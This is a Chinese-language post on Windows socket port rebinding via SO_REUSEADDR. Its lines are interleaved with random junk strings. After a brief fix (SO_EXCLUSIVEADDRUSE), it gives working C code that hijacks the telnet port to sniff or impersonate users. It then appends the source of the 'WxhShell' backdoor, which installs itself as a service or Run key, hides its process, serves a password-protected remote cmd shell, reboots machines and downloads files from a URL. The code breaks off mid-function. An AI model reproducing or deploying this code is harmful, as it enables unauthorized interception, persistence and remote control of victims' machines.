在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
3\J-=U s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
D@:w/W C(( 7 saddr.sin_family = AF_INET;
sB|>\O#- &gdtI saddr.sin_addr.s_addr = htonl(INADDR_ANY);
U&W{;myt 2u0C~s bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
zNe>fZ
>^vyp! 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
7v9l+OX,6 QH:PClW![ 这意味着什么?意味着可以进行如下的攻击:
#3!l6] 4L'dV 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
[se J'Io o&tETJ5Bhe 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
0OJBC~?{\ [v7)xV@c 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
5&}~W)"9 iwJeV J 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
>l|ao&z>bm ".Lwq_ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
F/ BB]gUB o[C,fh,$ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
}Yd7<"kp ,9T-\)sT 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
/b3b0VfF \^7D%a=;C #include
TiiMX #include
+:@lde]/p #include
u,]?_bK) #include
{9(#X]' DWORD WINAPI ClientThread(LPVOID lpParam);
RLuA^ONI int main()
X%iiz {
,Jqi J?,4C WORD wVersionRequested;
=pQ'wx|>| DWORD ret;
Uy8r
!9O WSADATA wsaData;
Q
a(>$. h BOOL val;
N%8O9Dp8; SOCKADDR_IN saddr;
]w2nVC3 SOCKADDR_IN scaddr;
S.,om;` int err;
fQZ,kl SOCKET s;
FjUf| SOCKET sc;
4.?tP7UE int caddsize;
0Q\6GCzN\ HANDLE mt;
\[m{ &%^G DWORD tid;
bUR;d78 wVersionRequested = MAKEWORD( 2, 2 );
O3Jp:.ps err = WSAStartup( wVersionRequested, &wsaData );
\UKr|[P if ( err != 0 ) {
Jzqv6A3G printf("error!WSAStartup failed!\n");
*AEN return -1;
x8L$T (^ }
~`7L\'fs saddr.sin_family = AF_INET;
FT0HU<." 1 mIJYe&t7) //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
I)@b#V= <B,z)c saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
p[kEFE,% saddr.sin_port = htons(23);
nP9zTa if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
,MH9e! {
NWK+.{s>m printf("error!socket failed!\n");
]xO`c return -1;
``l7|b jJ }
(_2;}eg val = TRUE;
)_$F/ug //SO_REUSEADDR选项就是可以实现端口重绑定的
)`u)#@x if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
u 3&9R)J1 {
3vs;ZBM printf("error!setsockopt failed!\n");
zq(R !a6 return -1;
'q+CL&D }
9NX/OctFa' //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Dwvd //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
nYfZ[Q>v //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
LP_w6fjT )~(( 6?k4e if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
G5JZpB#o {
:C%cnU;N ret=GetLastError();
8KQD
w: printf("error!bind failed!\n");
5u(B]_r. return -1;
Ni"M.O);t }
eVDO]5? listen(s,2);
T@V<J' while(1)
"RZVv~BD {
?`jh5Kw%y caddsize = sizeof(scaddr);
Xbm\"g \ //接受连接请求
s@Q,
wa( sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
_FG?zE if(sc!=INVALID_SOCKET)
!1g2' {
$j ZU(<4, mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
7od6`k if(mt==NULL)
W<W5ih,# {
[N$#&4{Je printf("Thread Creat Failed!\n");
Rd 4
z+G break;
@"B"*z-d }
KJ/
*BBf }
HY
(|31 CloseHandle(mt);
*b<
a@ }
v/\in'H~ closesocket(s);
cjTV~(i'4A WSACleanup();
.fZ*N/ return 0;
;cye
'E }
v61'fQ1Qg! DWORD WINAPI ClientThread(LPVOID lpParam)
q6xm#Fd'. {
VR/*h% SOCKET ss = (SOCKET)lpParam;
>^<%9{ SOCKET sc;
&W'X3!Te unsigned char buf[4096];
7hg)R
@OC SOCKADDR_IN saddr;
qB%?t.k7 long num;
1:L _qL DWORD val;
%T OYU(k DWORD ret;
$-tgd<2h //如果是隐藏端口应用的话,可以在此处加一些判断
@wzzI 7}C //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
!R{C saddr.sin_family = AF_INET;
/hNZ7\|P saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
9&FFp*'3 saddr.sin_port = htons(23);
9Z KB, if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
m^6& !`CD {
H<gC{:S printf("error!socket failed!\n");
n/>^!S return -1;
0N" VOEvG }
DH3.4EUWS val = 100;
@U~i<kt if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Wr3).m52}P {
>= G{.H ret = GetLastError();
Q Pel n) return -1;
( !K?^si }
u{Z
4M3U if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
+lK?)77f {
G4VdJ(_ ret = GetLastError();
?9F_E+! return -1;
\(S69@f }
nE4?oq if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
V l,V {
7q%<JZPY printf("error!socket connect failed!\n");
!uoQLiH+ closesocket(sc);
V3^=Mj2" closesocket(ss);
~E]ct F return -1;
N+l 0XjZD9 }
_8-iO.T+2 while(1)
(W=J3?hn {
;w\7p a //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
2}NWFM3C //如果是嗅探内容的话,可以再此处进行内容分析和记录
2HxT+|~d6 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
88K=jo))b num = recv(ss,buf,4096,0);
{giKC)! if(num>0)
3G4N0{i send(sc,buf,num,0);
\.@fAgv else if(num==0)
^oL43#Nlo break;
, Ww\C num = recv(sc,buf,4096,0);
VE
<p,IO if(num>0)
FEd We\E send(ss,buf,num,0);
m!Iax]D{ else if(num==0)
AK7IPftlH break;
H(MCY3t }
Lc0U-!{G closesocket(ss);
[<2#C#P:6 closesocket(sc);
hkK+BmMj\ return 0 ;
7wO0d/l_ }
2+Y8b:: M;14s*g *{ =5AW}o ==========================================================
2jMV6S9 72YL
下边附上一个代码,,WXhSHELL
FuA8vTV{ NXJyRAJ*% ==========================================================
G>3]A5 -G!W6$Y #include "stdafx.h"
@[:JQ'R= li U=&wM> #include <stdio.h>
5|4=uoA< #include <string.h>
cz2guUu #include <windows.h>
,b&-o?.{ #include <winsock2.h>
I3{koI #include <winsvc.h>
1l8kuwH #include <urlmon.h>
+c8cyx:^f yq?7!X #pragma comment (lib, "Ws2_32.lib")
'1$#onx #pragma comment (lib, "urlmon.lib")
Sxj _gn Ca&p;K9FR #define MAX_USER 100 // 最大客户端连接数
#P)7b,3pe #define BUF_SOCK 200 // sock buffer
]m>N!Iu #define KEY_BUFF 255 // 输入 buffer
v7V.,^6+ z>,fuR?9 #define REBOOT 0 // 重启
zoj3w|G #define SHUTDOWN 1 // 关机
wFgL\[$^| SP&Y|I$: #define DEF_PORT 5000 // 监听端口
FqvMi:F oicj3xkw? #define REG_LEN 16 // 注册表键长度
~JU
:a@) #define SVC_LEN 80 // NT服务名长度
yf KJpy s+=JT+g // 从dll定义API
P,(Tu.EPk typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
I T.'`!T typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
K2W$I H:. typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
kpe7\nd=> typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
m((A A7/
R5p // wxhshell配置信息
CdTyUl struct WSCFG {
Kb<^Wdy4T int ws_port; // 监听端口
~#doJ:^H3 char ws_passstr[REG_LEN]; // 口令
H-*"%SJ int ws_autoins; // 安装标记, 1=yes 0=no
0Hs\q!5Q char ws_regname[REG_LEN]; // 注册表键名
#rE#lHo char ws_svcname[REG_LEN]; // 服务名
DeMF<)# char ws_svcdisp[SVC_LEN]; // 服务显示名
]<V,5'xh char ws_svcdesc[SVC_LEN]; // 服务描述信息
,%|$#
g 0 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
r N"P
IH int ws_downexe; // 下载执行标记, 1=yes 0=no
E^RPK{zO char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
:HJ@/s!J char ws_filenam[SVC_LEN]; // 下载后保存的文件名
xnyp'O8yk :sMc}k?9S };
zF&>1y.$ cY}Nr#%s@U // default Wxhshell configuration
q ;@:,^ struct WSCFG wscfg={DEF_PORT,
Qp~W|zi( "xuhuanlingzhe",
0.& B 1,
7\BGeI "Wxhshell",
:6^8Q,C1@ "Wxhshell",
hhS]wM?B "WxhShell Service",
,O9rL :? "Wrsky Windows CmdShell Service",
F$Cf\#{3 "Please Input Your Password: ",
UF
g N@ 1,
rCwjy&SuU^ "
http://www.wrsky.com/wxhshell.exe",
v7"Hvp3w "Wxhshell.exe"
xJ;DkPh };
d/Sx+1
"{T 1I'ep\`"X // 消息定义模块
aS7[s6 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
2n9E:tc char *msg_ws_prompt="\n\r? for help\n\r#>";
<lx~/3<m char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
\Ty%E< char *msg_ws_ext="\n\rExit.";
bt$+l[U^J char *msg_ws_end="\n\rQuit.";
/K#t$O4 char *msg_ws_boot="\n\rReboot...";
a"!D @a char *msg_ws_poff="\n\rShutdown...";
]Z@+
|&@L char *msg_ws_down="\n\rSave to ";
7R$]BY= O_PKS$sz{ char *msg_ws_err="\n\rErr!";
2Z ?
N char *msg_ws_ok="\n\rOK!";
dMA"% R VTDp9s char ExeFile[MAX_PATH];
5UFR^\e int nUser = 0;
$
}u,uI HANDLE handles[MAX_USER];
OV l,o int OsIsNt;
nFVQOr; Iw?M>'l SERVICE_STATUS serviceStatus;
+sTZ)
5vQ SERVICE_STATUS_HANDLE hServiceStatusHandle;
=4;GIiF@ ?0UzmJV?8 // 函数声明
R+c
{Pl int Install(void);
6j]pJ]F6 int Uninstall(void);
W^c> (d</ int DownloadFile(char *sURL, SOCKET wsh);
>5i(U_`l int Boot(int flag);
zUw9 void HideProc(void);
=xs{Ov= int GetOsVer(void);
+OUYQM mM int Wxhshell(SOCKET wsl);
(5l5@MN void TalkWithClient(void *cs);
0FDfB; int CmdShell(SOCKET sock);
K22' XrN int StartFromService(void);
[6bK>w"v int StartWxhshell(LPSTR lpCmdLine);
-L9I;]:KY w3^>{2iqq VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
cVzOW|NVx VOID WINAPI NTServiceHandler( DWORD fdwControl );
mSWh'1]b.~ &ZjQa.-U> // 数据结构和表定义
pg}9baW? SERVICE_TABLE_ENTRY DispatchTable[] =
/<(d.6T[}: {
x<
Td {wscfg.ws_svcname, NTServiceMain},
F5CV<-jB {NULL, NULL}
9d7$Fz# };
py,B6UB5 xD f<@ // 自我安装
6%mFiX int Install(void)
sW#}QYd {
Ksp!xFk char svExeFile[MAX_PATH];
_084GK9{W HKEY key;
[Z3B~c strcpy(svExeFile,ExeFile);
I2@pkVv3z o{EWNkmj // 如果是win9x系统,修改注册表设为自启动
MP Ma if(!OsIsNt) {
4{d`-reHg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
QyJ2P{z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
'RIlyH~Yf RegCloseKey(key);
DU6AlNx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
|%F[.9Dp RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
U]!D=+ RegCloseKey(key);
0|0<[:(hc return 0;
u vo2W! }
#+2|ZfCn% }
wvAXt*R }
c'=p4Fcm else {
'_z#}P< u`l1
zMk // 如果是NT以上系统,安装为系统服务
>?b9Xh SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
g-c\; if (schSCManager!=0)
t^h{D {
rPV\ F SC_HANDLE schService = CreateService
[u_-x3` (
v3(W4G` schSCManager,
O
-a`A. wscfg.ws_svcname,
Kt,ENbF wscfg.ws_svcdisp,
*@'\4OO SERVICE_ALL_ACCESS,
MQR@(>TZy SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
\Rc7$bS2H SERVICE_AUTO_START,
R3]Ra&h6N) SERVICE_ERROR_NORMAL,
m6P!#=a:l< svExeFile,
3P1OyB NULL,
tHhA_
NULL,
q%u;+/|l NULL,
|w(@a:2kw NULL,
su~_l[6 NULL
L#'B-G4&y );
^O
cM)Z6h if (schService!=0)
' LT6%<| {
UR~9*`Z , CloseServiceHandle(schService);
P)?)H]J" CloseServiceHandle(schSCManager);
anj*a<C< strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
^(p}hSLAfQ strcat(svExeFile,wscfg.ws_svcname);
tqY) if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
'1{#I/P; RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
9/LI[{ RegCloseKey(key);
,|4%YaN.3 return 0;
:@6,|2be= }
h"S+8Y:1{k }
lx<]v^ CloseServiceHandle(schSCManager);
tA+ c }
mZVYgJQ[ }
}.<%46_Z- ]KMOLe6( return 1;
#D"fCVIS }
_"8\k7S* kve{CO* // 自我卸载
~
#Gu: int Uninstall(void)
xF*C0B;QL {
@0`Q HKEY key;
lZTD>$ wL]7d3t if(!OsIsNt) {
5b_[f( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RVmD& RegDeleteValue(key,wscfg.ws_regname);
_
i )Z8# RegCloseKey(key);
,Yg<Z1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
n/_cJD\ RegDeleteValue(key,wscfg.ws_regname);
u 89u#gCAC RegCloseKey(key);
'|r('CIBN/ return 0;
CqVh9M.ah }
PjEKZHHz
}
]XEkQ }
Yt"&8N] else {
L3M]06y #NM.g SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
DCfV if (schSCManager!=0)
,*fvA? {
]p(jL7 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
<tZPS`c'_ if (schService!=0)
%?lPS {
Hh=D:kE if(DeleteService(schService)!=0) {
s}Q%]W CloseServiceHandle(schService);
Za{sT&(| CloseServiceHandle(schSCManager);
,4ftQJ return 0;
L 6){wQ%c }
zmI?p4, CloseServiceHandle(schService);
`,
?T;JRc }
8Ua;< h% CloseServiceHandle(schSCManager);
iG*3S) }
%J\1W"I? }
kW&{0xkGR <o5+*X return 1;
q2}<n'o+ }
Lxm1.TOJ K#g)t/SZ // 从指定url下载文件
Z3=DM=V;v int DownloadFile(char *sURL, SOCKET wsh)
EJYfk?(B {
xq',pzN HRESULT hr;
K,YKU?z6 char seps[]= "/";
p8F5b8]* char *token;
)J+vmY~& char *file;
7\aLK# char myURL[MAX_PATH];
9viQ<}K< char myFILE[MAX_PATH];
r=dFk?8XbC 8Z>ZjNG strcpy(myURL,sURL);
uY;-x~Z token=strtok(myURL,seps);
7SE=otZ> while(token!=NULL)
~SkdP7 ) {
IMzhEm file=token;
LQSno)OZ token=strtok(NULL,seps);
&*Eyw
s }
LV{a^!f`y ?\:ysTVu GetCurrentDirectory(MAX_PATH,myFILE);
F9]j{'# strcat(myFILE, "\\");
Y7)YJI strcat(myFILE, file);
[#H$@g|CT send(wsh,myFILE,strlen(myFILE),0);
+x$;T*0 send(wsh,"...",3,0);
xKz^J
SF hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
@Nb&f<+gi if(hr==S_OK)
{ hUbK+dKZ return 0;
OL*EY:] else
fRJSo% return 1;
s% `o KLlo^1.< }
_$"qC[. 8%Zl;;W // 系统电源模块
NS"hdyA int Boot(int flag)
0V*L",9M {
zw^jIg$ HANDLE hToken;
^1U2&S TOKEN_PRIVILEGES tkp;
}9e4?7 $53I%. if(OsIsNt) {
=vBxwa^ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Dm6WSp1|b LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Bsw5A7,- tkp.PrivilegeCount = 1;
94"R&| tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
pU)wxv[~ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
]>K%,}PS if(flag==REBOOT) {
7,ODh-?ez if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
LjjE(Yrv{ return 0;
}Tn]cL{]C }
R%XbO~{u else {
HS| &[" if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
FLY# return 0;
[Fe`}F}Co8 }
waXA%u50 }
_I+#K M else {
+r9:n(VP if(flag==REBOOT) {
p_=^E*J] if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
ptGM' return 0;
|/zE(ePc{ }
Q~]#x![u0 else {
4`)B@< if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
XbYW,a@w2 return 0;
gPY2Bnw;l }
YSk,kU }
<T:u&Ic OUn,URI return 1;
f;#hcRSH }
y!fV+S, F?e_$\M // win9x进程隐藏模块
<LQwH23@ void HideProc(void)
R`Hyg4? {
-uN5DJSW LX4S}QXw HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
& :x_ if ( hKernel != NULL )
S/]2Qt#T {
erYpeq. pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
*nU7v3D ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
d@pD5n=m; FreeLibrary(hKernel);
5[[ 4A]#T }
^3IO.`| $@[6j y return;
?AX./LI }
P-[6xu+] D#508{) // 获取操作系统版本
%7pT\8E5 int GetOsVer(void)
>Rs:Fw|jro {
c&IIqT@Gb0 OSVERSIONINFO winfo;
>V@-tT"^: winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
XJDp%B GetVersionEx(&winfo);
[Hy0j* if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
u!?.vx<qy return 1;
5E?{>1 else
GUE3| return 0;
yb56nd }
$S|bD$e B@G'6 ? // 客户端句柄模块
j%Y`2Ra int Wxhshell(SOCKET wsl)
V9NE kS {
&,2XrXiFu SOCKET wsh;
6<.Ma7)lA struct sockaddr_in client;
>%x7-->IB DWORD myID;
] 7_ f'M1F "zJ1vIZY while(nUser<MAX_USER)
_/MHi-]/. {
tM <6c+ int nSize=sizeof(client);
wlKfTJrn& wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
G+[hE|L~y if(wsh==INVALID_SOCKET) return 1;
Vq2d+
,fb D`,W1Z# handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
d%NO_=I. if(handles[nUser]==0)
3i=+ [ closesocket(wsh);
fmY=SqQG- else
m^@,0\F nUser++;
c?"#x-<1s }
5;oWFl WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
BV"7Wp; +DaPXZ5. return 0;
b;`gxXeL }
cU?A|' r ,D
T> // 关闭 socket
sL75C|f9 void CloseIt(SOCKET wsh)
^C^FxIA& {
1|l'oTAA closesocket(wsh);
Zsc710_ nUser--;
c#|!^gjf ExitThread(0);
TZT i:\nS }
i[sHPEml(5 uV`r_P // 客户端请求句柄
5Jh=${ void TalkWithClient(void *cs)
='a[(C&Y {
@v\Osp t= e82SG8#] SOCKET wsh=(SOCKET)cs;
thIuK V{CO char pwd[SVC_LEN];
YvL5>; char cmd[KEY_BUFF];
wP8Wx~Q= char chr[1];
4\a K C%5 int i,j;
vmm#UjwF3 B ZP}0 while (nUser < MAX_USER) {
;D&FZ|`(u
O@6iG if(wscfg.ws_passstr) {
Pp3<K649 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Xd@ - //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
d5T M_C //ZeroMemory(pwd,KEY_BUFF);
b1JXC=*@ i=0;
1p=^I'# while(i<SVC_LEN) {
AX,V*
s {.qeVE{ // 设置超时
5P-7"g ca fd_set FdRead;
n*{aN}auJ struct timeval TimeOut;
t Sran FD_ZERO(&FdRead);
9`]Gosz FD_SET(wsh,&FdRead);
0+%{1JkJq TimeOut.tv_sec=8;
q">lP(t TimeOut.tv_usec=0;
SDt)|s
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
F9p'|- if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
)0UVT[7 uP2e/a if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
dU<\FW_ pwd
=chr[0]; b6Pi:!4
if(chr[0]==0xd || chr[0]==0xa) { wO9|_.Z{
pwd=0; _ dEc? R}
break; FOVghq@
} /I}#0}
i++; :_V9Jwu
} PKFjM~J
zrVw l\&
// 如果是非法用户,关闭 socket ,r^zDlS<q
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R?Zv
} EK`}?>'
:@#9P,"
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); CC&o pC
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >>/|Q:
p^QZGu-.W
while(1) { F3+
;2GG2
2*;qr|h,
ZeroMemory(cmd,KEY_BUFF); $2uk;&"?A=
qg1s]c~0u
// 自动支持客户端 telnet标准 Y1fcp_]m
j=0; "g27|e?y
while(j<KEY_BUFF) { ._'AJhU$0
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z,dh?%H>X
cmd[j]=chr[0]; l7#5.%A
if(chr[0]==0xa || chr[0]==0xd) { IlN: NS
cmd[j]=0; !*Ex}K99
break; (:Di/{i&r5
} Rr#Zcs!G
j++; San3^uX
} c
I K
%d?.v_Hu0
// 下载文件 mbT4K8<^
if(strstr(cmd,"http://")) { XzLB#0
send(wsh,msg_ws_down,strlen(msg_ws_down),0); DS;,@$N_N
if(DownloadFile(cmd,wsh)) @A32|p}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); fk%W07x!
else mD@*vq
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;B*im
S10
} wT\JA4
else { -wr#.8rzTT
"3 Y(uN
switch(cmd[0]) { )&/ecx"2Q
g{PEplk
// 帮助 E$O-\)wY0
case '?': { |)~t^
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); eka<mq|W
break; -)N,HAM>
} >^Rkk{cc
// 安装 U<<@(d%T
case 'i': { ozaM!e e\z
if(Install()) %M)LC>c
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rnAQwm-8O%
else RW"QUT
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vq?Le j
break; Cp"a,% b6u
} P=3mLz-
// 卸载 T.d1?
case 'r': { $?P 5A E
if(Uninstall()) ZZ'5BfI"I%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); hp|.hN(kS]
else lV%oIf[OB
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CcCcuxtR
break; qAI%6d
} T'6MAxEZUq
// 显示 wxhshell 所在路径 B^;"<2b*
case 'p': { U80h0t%
char svExeFile[MAX_PATH]; `:b*#@
strcpy(svExeFile,"\n\r"); ?iXN..6x
strcat(svExeFile,ExeFile); 8MQb5( !
send(wsh,svExeFile,strlen(svExeFile),0); xP{)+$n
break; t;HM
} sdp3geBYo
// 重启 #jj+/>ZOi
case 'b': { <n1panS
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `\-<tk9
if(Boot(REBOOT)) W6c]a/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); njxfBA:
else { |hl:!j.t
closesocket(wsh); gOy;6\/
ExitThread(0); }G/!9Zq
} G)8v~=Bv
break; T
W#s)iDi
} `!( IQ&
// 关机 J?#Xy9dz
case 'd': { MCO2(E-
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,ZV>"'I:
if(Boot(SHUTDOWN)) ?lca#@f(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]9$iUA%Ef
else { a^o'KN{
closesocket(wsh); LvqWA}
ExitThread(0); +)xjw9b
} *fCmZ$U:{
break; q0C%">>1#
} vSnGPLl
// 获取shell (S~kNbIa
case 's': { r03%+:
CmdShell(wsh); zC,c9b
closesocket(wsh); X$2f)3
ExitThread(0); zJ6""38Pr
break; %?hvN
} y{KYR)
// 退出 q6PG=9d0B
case 'x': { .H@b zm
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Cs4ks`Z18
CloseIt(wsh); [XE\2Qa8e
break; "&:H }Jd
} xx@[ecW
// 离开 i!{A7mo
case 'q': { ,njlKkFw^Z
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9OYyR
closesocket(wsh); boq=@Qh
WSACleanup(); XL[Dmu&
exit(1); %Q]3`kxp
break; ^H0#2hFa
} e9R H[:
} S]&:R)#@
} c)3.AgT
{'p <
o$(S
// 提示信息 HLkI?mW<
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p#%*z~ui
} n)0M1o#
} '%X29B5
>4#:qIU
return; %M3L<2
} '}^qz#w
}Y^o("c(
// shell模块句柄 Q=61.lP6
int CmdShell(SOCKET sock) _N {4Rs0
{ &]h`kvtBC
STARTUPINFO si; d6a3\f
ZeroMemory(&si,sizeof(si)); z/]]u.UP
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $1$0M
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jlA6~n
PROCESS_INFORMATION ProcessInfo; [Tl66Eyl
char cmdline[]="cmd"; w4fQ~rcUIc
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~N%+ZXh&E
return 0; r+d+gO.
} g>@a
eBH:_Ls_-^
// 自身启动模式 dF[|9%)
int StartFromService(void) hF{gN3v5
{ d>?C?F
typedef struct 9Fy'L#%
{ HSWki';G
DWORD ExitStatus; {+m8^-T
DWORD PebBaseAddress; ,CI-IR2
DWORD AffinityMask; 1>uAVPa
DWORD BasePriority; -g."{|
ULONG UniqueProcessId; TQu.jC
ULONG InheritedFromUniqueProcessId; ^mg:<_p
